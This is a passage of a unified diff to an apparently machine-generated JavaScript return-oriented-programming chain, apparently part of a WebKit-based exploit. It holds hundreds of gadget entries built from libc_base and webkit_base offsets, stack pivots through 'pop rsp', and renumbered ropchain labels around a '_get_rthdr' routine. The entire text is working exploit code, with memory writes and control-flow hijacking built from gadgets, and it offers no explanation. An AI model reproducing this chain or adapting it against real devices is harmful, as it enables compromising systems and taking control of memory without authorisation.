-ropchain+186472, //L2850 +ropchain+185992, //L2831 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L2848: -db([16, 0]); // 0x10 -set_gadget(libc_base+792472,); //pop rcx -//L2850: +//L2831: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L2832: +db([16, 0]); // 0x10 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+186576, //L2853 +ropchain+186112, //L2836 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+186560, //L2852 +ropchain+186096, //L2834 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2852: +//L2834: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2853: +//L2836: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+186744, //L2856 +ropchain+186280, //L2839 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+186760, //L2857 +ropchain+186296, //L2840 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+186712, //L2854 +ropchain+186264, //L2837 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+186728, //L2855 +ropchain+186248, //L2838 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2854: +//L2838: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2855: +//L2837: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2856: +//L2839: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2857: +//L2840: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+186856, //L2859 +ropchain+186392, //L2842 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+186840, //L2858 +ropchain+186376, //L2841 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L2858: +//L2841: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2859: +//L2842: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -20597,8 +20530,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax -//L2861: -ropchain+186960, //L2860 +//L2844: +ropchain+186496, //L2843 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -20606,8 +20539,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+811575, //pop rsp -ropchain+188152, //L2862 -//L2860: +ropchain+187688, //L2845 +//L2843: libc_base+882884, //mov rax, rcx libc_base+793877 //pop rsi ]); @@ -20615,158 +20548,158 @@ db([4294967256, 4294967295]); // -0x28 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+187096, //L2864 +ropchain+186632, //L2847 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+187112, //L2865 +ropchain+186648, //L2848 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+187080, //L2863 +ropchain+186616, //L2846 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2863: +//L2846: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2864: +//L2847: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2865: +//L2848: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+187216, //L2868 +ropchain+186752, //L2851 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+187264, //L2870 +ropchain+186800, //L2853 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+187248, //L2869 +ropchain+186784, //L2852 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2868: +//L2851: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi -//L2867: +//L2850: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2869: +//L2852: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2870: +//L2853: db([0, 0]); // 0x0 set_gadgets([ webkit_base+11676600, //cmp rax, rsi ; sete al libc_base+269973, //movzx eax, al webkit_base+414627, //shl rax, 3 libc_base+793877, //pop rsi -ropchain+187376, //L2871+8 +ropchain+186912, //L2854+8 libc_base+547636, //add rax, rsi libc_base+186490, //mov rax, [rax] libc_base+793877, //pop rsi -ropchain+187368, //L2871 +ropchain+186904, //L2854 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+811575 //pop rsp ]); -//L2871: +//L2854: db([0, 0]); // 0x0 set_gadgets([ -ropchain+187392, //L2871+24 -ropchain+187840, //L2866 +ropchain+186928, //L2854+24 +ropchain+187376, //L2849 libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+187448, //L2873 +ropchain+186968, //L2855 webkit_base+7438103, //mov [rsi], rax -libc_base+788575 //pop rax +libc_base+792472 //pop rcx ]); -//L2872: +//L2855: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L2873: +set_gadget(libc_base+788575,); //pop rax +//L2856: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2874: +//L2857: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+187632, //L2877 +ropchain+187168, //L2860 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+187648, //L2878 +ropchain+187184, //L2861 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+187600, //L2875 +ropchain+187152, //L2858 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+187616, //L2876 +ropchain+187136, //L2859 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2875: +//L2859: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2876: +//L2858: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2877: +//L2860: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2878: +//L2861: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+187720, //L2879 +ropchain+187256, //L2862 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+187736, //L2880 +ropchain+187272, //L2863 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L2879: +//L2862: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2880: +//L2863: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+187832, //L2882 +ropchain+187368, //L2865 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+187816, //L2881 +ropchain+187352, //L2864 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L2881: +//L2864: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2882: +//L2865: db([0, 0]); // 0x0 -//L2866: +//L2849: set_gadgets([ libc_base+793877, //pop rsi -ropchain+187920, //L2884 +ropchain+187456, //L2867 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+187904, //L2883 +ropchain+187440, //L2866 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L2883: +//L2866: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2884: +//L2867: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -20776,17 +20709,17 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+188016, //L2885 +ropchain+187552, //L2868 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+188032, //L2886 +ropchain+187568, //L2869 webkit_base+7438103, //mov [rsi], rax webkit_base+432898 //pop r8 ]); -//L2885: +//L2868: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2886: +//L2869: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -20796,19 +20729,19 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+188144, //L2887 +ropchain+187680, //L2870 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+188128, //L2888 +ropchain+187664, //L2871 webkit_base+7438103, //mov [rsi], rax libc_base+788575 //pop rax ]); -//L2888: +//L2871: db([0, 0]); // 0x0 set_gadget(libc_base+811575,); //pop rsp -//L2887: +//L2870: db([0, 0]); // 0x0 -//L2862: +//L2845: set_gadget(libc_base+793877,); //pop rsi db([208, 0]); // 0xd0 set_gadgets([ @@ -21024,11 +20957,11 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+189472, //L2889 +ropchain+189008, //L2872 webkit_base+7438103, //mov [rsi], rax libc_base+811575 //pop rsp ]); -//L2889: +//L2872: db([0, 0]); // 0x0 //_get_rthdr: set_gadget(libc_base+793877,); //pop rsi @@ -21036,116 +20969,116 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+189544, //L2891 +ropchain+189080, //L2873 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 webkit_base+432898 //pop r8 ]); -//L2891: +//L2873: db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+189608, //L2893 +ropchain+189144, //L2876 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 webkit_base+432898 //pop r8 ]); -//L2893: +//L2876: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L2894: -db([32, 0]); // 0x20 -set_gadget(libc_base+792472,); //pop rcx -//L2896: +//L2877: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L2878: +db([32, 0]); // 0x20 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+189776, //L2899 +ropchain+189312, //L2882 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+189760, //L2898 +ropchain+189296, //L2880 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2898: +//L2880: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2899: +//L2882: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+189944, //L2902 +ropchain+189480, //L2885 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+189960, //L2903 +ropchain+189496, //L2886 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+189912, //L2900 +ropchain+189464, //L2883 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+189928, //L2901 +ropchain+189448, //L2884 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2900: +//L2884: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2901: +//L2883: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2902: +//L2885: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2903: +//L2886: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+190064, //L2906 +ropchain+189584, //L2887 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+190080, //L2907 +ropchain+189616, //L2890 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L2904: -db([4294967292, 4294967295]); // -0x4 -set_gadget(libc_base+792472,); //pop rcx -//L2906: +//L2887: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L2888: +db([4294967292, 4294967295]); // -0x4 set_gadget(libc_base+206806,); //pop rdi -//L2907: +//L2890: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+954100, //mov [rax], ecx libc_base+793877, //pop rsi -ropchain+190160, //L2910 +ropchain+189680, //L2891 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L2908: -db([4294967292, 4294967295]); // -0x4 -set_gadget(libc_base+792472,); //pop rcx -//L2910: +//L2891: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L2892: +db([4294967292, 4294967295]); // -0x4 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877 //pop rsi @@ -21155,55 +21088,55 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+190264, //L2913 +ropchain+189784, //L2894 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L2911: -db([24, 0]); // 0x18 -set_gadget(libc_base+792472,); //pop rcx -//L2913: +//L2894: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L2895: +db([24, 0]); // 0x18 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+190368, //L2916 +ropchain+189904, //L2899 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+190352, //L2915 +ropchain+189888, //L2897 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2915: +//L2897: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2916: +//L2899: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+190512, //L2919 +ropchain+190048, //L2902 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+190480, //L2917 +ropchain+190016, //L2900 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+190496, //L2918 +ropchain+190032, //L2901 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L2917: +//L2900: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2918: +//L2901: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2919: +//L2902: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -21212,7 +21145,7 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575 //pop rax ]); -//L2920: +//L2903: db([51, 0]); // 0x33 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -21221,7 +21154,7 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575 //pop rax ]); -//L2921: +//L2904: db([41, 0]); // 0x29 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -21229,77 +21162,77 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+190704, //L2924 +ropchain+190224, //L2905 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L2922: -db([16, 0]); // 0x10 -set_gadget(libc_base+792472,); //pop rcx -//L2924: +//L2905: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L2906: +db([16, 0]); // 0x10 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+190808, //L2927 +ropchain+190344, //L2910 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+190792, //L2926 +ropchain+190328, //L2908 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2926: +//L2908: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2927: +//L2910: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+190976, //L2930 +ropchain+190512, //L2913 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+190992, //L2931 +ropchain+190528, //L2914 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+190944, //L2928 +ropchain+190496, //L2911 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+190960, //L2929 +ropchain+190480, //L2912 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2928: +//L2912: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2929: +//L2911: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2930: +//L2913: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2931: +//L2914: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+191088, //L2933 +ropchain+190624, //L2916 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+191072, //L2932 +ropchain+190608, //L2915 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L2932: +//L2915: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2933: +//L2916: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -21307,8 +21240,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax -//L2935: -ropchain+191192, //L2934 +//L2918: +ropchain+190728, //L2917 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -21316,8 +21249,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+811575, //pop rsp -ropchain+193264, //L2936 -//L2934: +ropchain+192800, //L2919 +//L2917: libc_base+882884, //mov rax, rcx libc_base+793877 //pop rsi ]); @@ -21325,250 +21258,250 @@ db([4294967256, 4294967295]); // -0x28 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+191328, //L2938 +ropchain+190864, //L2921 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+191344, //L2939 +ropchain+190880, //L2922 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+191312, //L2937 +ropchain+190848, //L2920 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2937: +//L2920: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2938: +//L2921: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2939: +//L2922: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+191448, //L2942 +ropchain+190984, //L2925 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+191496, //L2944 +ropchain+191032, //L2927 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+191480, //L2943 +ropchain+191016, //L2926 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2942: +//L2925: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi -//L2941: +//L2924: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2943: +//L2926: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2944: +//L2927: db([0, 0]); // 0x0 set_gadgets([ webkit_base+11676600, //cmp rax, rsi ; sete al libc_base+269973, //movzx eax, al webkit_base+414627, //shl rax, 3 libc_base+793877, //pop rsi -ropchain+191608, //L2945+8 +ropchain+191144, //L2928+8 libc_base+547636, //add rax, rsi libc_base+186490, //mov rax, [rax] libc_base+793877, //pop rsi -ropchain+191600, //L2945 +ropchain+191136, //L2928 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+811575 //pop rsp ]); -//L2945: +//L2928: db([0, 0]); // 0x0 set_gadgets([ -ropchain+191624, //L2945+24 -ropchain+192072, //L2940 +ropchain+191160, //L2928+24 +ropchain+191608, //L2923 libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+191680, //L2947 +ropchain+191200, //L2929 webkit_base+7438103, //mov [rsi], rax -libc_base+788575 //pop rax +libc_base+792472 //pop rcx ]); -//L2946: +//L2929: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L2947: +set_gadget(libc_base+788575,); //pop rax +//L2930: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2948: +//L2931: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+191864, //L2951 +ropchain+191400, //L2934 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+191880, //L2952 +ropchain+191416, //L2935 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+191832, //L2949 +ropchain+191384, //L2932 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+191848, //L2950 +ropchain+191368, //L2933 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2949: +//L2933: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2950: +//L2932: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2951: +//L2934: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2952: +//L2935: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+191952, //L2953 +ropchain+191488, //L2936 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+191968, //L2954 +ropchain+191504, //L2937 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L2953: +//L2936: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2954: +//L2937: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+192064, //L2956 +ropchain+191600, //L2939 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+192048, //L2955 +ropchain+191584, //L2938 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L2955: +//L2938: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2956: +//L2939: db([0, 0]); // 0x0 -//L2940: +//L2923: set_gadgets([ libc_base+793877, //pop rsi -ropchain+192128, //L2959 +ropchain+191648, //L2940 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L2957: -db([4294967292, 4294967295]); // -0x4 -set_gadget(libc_base+792472,); //pop rcx -//L2959: +//L2940: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L2941: +db([4294967292, 4294967295]); // -0x4 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+192232, //L2962 +ropchain+191768, //L2945 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+192216, //L2961 +ropchain+191752, //L2943 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2961: +//L2943: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2962: +//L2945: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+192400, //L2965 +ropchain+191936, //L2948 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+192416, //L2966 +ropchain+191952, //L2949 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+192368, //L2963 +ropchain+191920, //L2946 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+192384, //L2964 +ropchain+191904, //L2947 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2963: +//L2947: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2964: +//L2946: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2965: +//L2948: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2966: +//L2949: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+192576, //L2970 +ropchain+192112, //L2953 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+192528, //L2967 +ropchain+192064, //L2951 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+192560, //L2969 +ropchain+192096, //L2952 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2967: +//L2951: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2968: +//L2950: db([32, 0]); // 0x20 set_gadget(libc_base+206806,); //pop rdi -//L2969: +//L2952: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2970: +//L2953: db([0, 0]); // 0x0 set_gadgets([ libc_base+877546, //shl rax, cl libc_base+877568, //shr rax, cl libc_base+793877, //pop rsi -ropchain+192688, //L2971 +ropchain+192224, //L2954 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+192720, //L2973 +ropchain+192256, //L2956 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+192704, //L2972 +ropchain+192240, //L2955 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L2971: +//L2954: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2972: +//L2955: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2973: +//L2956: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -21578,17 +21511,17 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+192816, //L2974 +ropchain+192352, //L2957 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+192832, //L2975 +ropchain+192368, //L2958 webkit_base+7438103, //mov [rsi], rax webkit_base+432898 